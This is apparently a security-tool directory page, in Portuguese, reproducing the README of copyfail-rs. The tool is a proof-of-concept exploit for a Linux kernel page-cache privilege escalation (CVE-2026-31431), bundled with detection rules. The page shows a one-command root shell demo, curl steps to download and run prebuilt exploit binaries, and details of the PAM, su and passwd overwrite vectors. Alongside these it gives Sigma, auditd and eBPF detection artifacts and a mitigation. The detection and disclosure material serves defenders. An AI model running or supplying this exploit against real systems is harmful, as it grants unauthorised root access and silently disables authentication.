Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
copyfail-rs — CopyFail (CVE-2026-31431): PoC de escalonamento de privilégios no page-cache do kernel Linux + a única ferramenta pública de detecção. Novo vetor de bypass de autenticação PAM + regras Sigma/auditd/eBPF. | Kitploit
Ferramentas/GitHubGitHub/diemoeve/copyfail-rs
Escalada de PrivilégiosAnálise de VulnerabilidadesExploração
GitHubdiemoeve/copyfail-rs

copyfail-rs

CopyFail (CVE-2026-31431): PoC de escalonamento de privilégios no page-cache do kernel Linux + a única ferramenta pública de detecção. Novo vetor de bypass de autenticação PAM + regras Sigma/auditd/eBPF.

Ver Repositório
183há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

copyfail-rs

PoC multi-vetor + detecção emparelhada para CVE-2026-31431 (CopyFail). Inclui um novo vetor de bypass de autenticação PAM que nenhum outro PoC público oferece. O modo de detecção captura o que AIDE / Wazuh / OSSEC / Tripwire estruturalmente não conseguem.

Binário estático único. ~108 KB. no_std musl.

Demonstração

root@kitploit:~
noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#

Um comando. Shell root. PAM killshot nos bastidores (uma única escrita de 4 bytes em /etc/pam.d/common-auth), queda de PTY para root via sudo com senha descartada. A linha [sudo] password for noot: pisca brevemente; o sudo sempre exibe esse prompt; o binário alimenta qualquer string e a falha do pam_unix cascateia através do pam_deny.so comentado para pam_permit.so → root.

root@kitploit:~
$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===

TAMPERED (1):
  /etc/pam.d/common-auth [ext4]
    cache:  23c4f1ee...  ← o que está realmente carregado (mutado)
    disk:   117dab1c...  ← o que AIDE / Wazuh / Tripwire veem (limpo)

É isso o projeto. Disco limpo, cache mutado. Todo FIM público é cego. Esta ferramenta não é.

Início rápido (sem necessidade de build)

Binários estáticos pré-compilados na release v0.1.0. Escolha sua arquitetura, baixe, execute.

root@kitploit:~
# x86_64 (maioria dos laptops + servidores em nuvem)
curl -LO https://github.com/diemoeve/copyfail-rs/releases/download/v0.1.0/copyfail-x86_64-musl
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit

Outras arquiteturas:

ArquiteturaArquivo
ARM64 (aarch64)copyfail-aarch64-musl
ARMv7 (Raspberry Pi 3+)copyfail-armv7-musleabihf

Verifique a integridade:

root@kitploit:~
curl -LO https://github.com/diemoeve/copyfail-rs/releases/download/v0.1.0/checksums.txt
sha256sum -c checksums.txt

Binários musl estáticos, sem dependências de runtime, rodam em qualquer Linux.

Por que o FIM é cego

Mutação do page cache. Sem escrita VFS. Sem página suja. Sem evento inotify. O rescan periódico compete com a evicção.

AIDE/Wazuh/OSSEC/Tripwire/Samhain leem via I/O bufferizado → page cache → fazem hash dos bytes mutados como verdade. Ou, após a evicção, fazem hash do disco limpo → "nenhuma alteração jamais ocorreu."

A detecção precisa de O_DIRECT (pular cache) + leitura bufferizada (atingir cache) + diff de hash. Divergência = assinatura CopyFail. Isso é --scan.

Vetores

Seleção automática: --vector auto (padrão). Classifica pam > su > passwd por furtividade. Faz fallback em caso de falha.

Detecção

--json em todos os lugares para ingestão em SIEM.

Artefatos de detecção

detection/:

  • sigma/copyfail-af-alg.yml, regra Sigma, coloque no seu SIEM
  • auditd/copyfail.rules, augenrules --load
  • ebpf/copyfail-trace.bt, one-liner bpftrace
  • apparmor/copyfail-block.profile, regra de negação AppArmor 3.0+
  • mitigation/disable-algif.sh, blacklist modprobe + aviso =y

Mitigação

root@kitploit:~
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead

Ou kernel mainline a664bf3d603d (abril de 2026). Até agora: apenas Debian Sid/Forky enviaram. Ubuntu LTS, RHEL, SUSE, Amazon Linux, Fedora, Arch, Oracle = todos vulneráveis.

Ressalva: CONFIG_CRYPTO_USER_API_AEAD=y (embutido) contorna silenciosamente o modprobe. --check avisa.

Após exploit + mitigação: a mutação do cache persiste até o reboot. A mitigação bloqueia NOVOS exploits, não desfaz os anteriores.

Build

root@kitploit:~
cargo build --release --target x86_64-unknown-linux-musl
AlvoTamanho
x86_64-musl108 KB
aarch64-musl96 KB
armv7-musleabihf86 KB

no_std. Sem alocador. Sem dependências de runtime. Binário estático único.

Artefatos pré-compilados e somas SHA256 anexados às releases do GitHub.

Uso

Veja docs/usage.md para exemplos concretos de uma tela por modo (exploit auto/list/all, detect check/scan/baseline/diff/watch/hunt).

Para uma versão narrativa mais longa deste README (mais contexto, exposição mais profunda), veja BLOG.md.

Modelo de ameaça

Veja docs/threat-model.md.

Comparação

Autorização e ética

Apenas hardware próprio. Sem bloqueio de CLI (teatro de segurança). README + LICENSE = o framework.

O modo de detecção é somente leitura. Seguro em produção.

O modo exploit muta o page cache do kernel. Apenas em RAM, mas trate como destrutivo. Bloqueia autenticação para qualquer chamador subsequente.

Créditos

CVE-2026-31431 divulgada por Theori / Xint em 2026-04-29 (writeup, blog Xint). PoCs públicos anteriores:

  • theori-io/copy-fail-CVE-2026-31431 (Python, 732 bytes, vetor su)
  • tgies/copy-fail-c (C com nolibc, vetores su + passwd, portátil)
  • badsectorlabs/copyfail-go (binário Go estático, vetor su)

Este projeto (copyfail-rs): adiciona o vetor de bypass de autenticação PAM, detecção de modo duplo, artefatos de IR.

Licença

MIT.

Referências

  • https://copy.fail/
  • Correção Linux: a664bf3d603d
  • Piso: 72548b093ee3 (4.14, ago 2017)
  • Análogo: Dirty Pipe (CVE-2022-0847)
Baixar ferramenta
VetorAlvoOnde aterrissa
pam (NOVO)/etc/pam.d/common-auth (Debian/Ubuntu) ou system-auth (Fedora/RHEL/Arch)4 bytes. auth requisite pam_deny.so → #aut requisite pam_deny.so. Sudo com qualquer senha = root.
su/usr/bin/suMuta o texto do binário setuid. execve → root.
passwd/etc/passwdInversão de UID → usuário vira root no próximo login. Quebra SSH para esse usuário.
ModoO quê
--checkKernel + módulo + CONFIG_CRYPTO_USER_API_AEAD + status de mitigação. Veredito: vulnerável / mitigado / seguro.
--scanDiff de leitura O_DIRECT vs bufferizada em arquivos críticos. Ramificado por statfs(): ext4/xfs/btrfs usam O_DIRECT, overlayfs faz fallback, tmpfs é ignorado.
--baseline / --diffSnapshot do estado conhecido como limpo. Diff posterior. Deltas apenas de cache = a impressão digital CopyFail.
--watchDaemon. Varredura periódica. SIGTERM limpo.
--huntVarredura de frota SSH. Agregados JSON.
Theori Pythontgies Cbadsectorlabs Gocopyfail-rs
Vetoressusu + passwdsusu + passwd + PAM (novo)
Detecçãonenhumanenhumanenhuma--mode detect completo
Artefatos de IRnenhumnenhumnenhumSigma + auditd + eBPF + AppArmor
UX do operador3 comandos4 comandos5 comandos1 comando
Binárioprecisa de Python~10 KB~5 MB~108 KB estático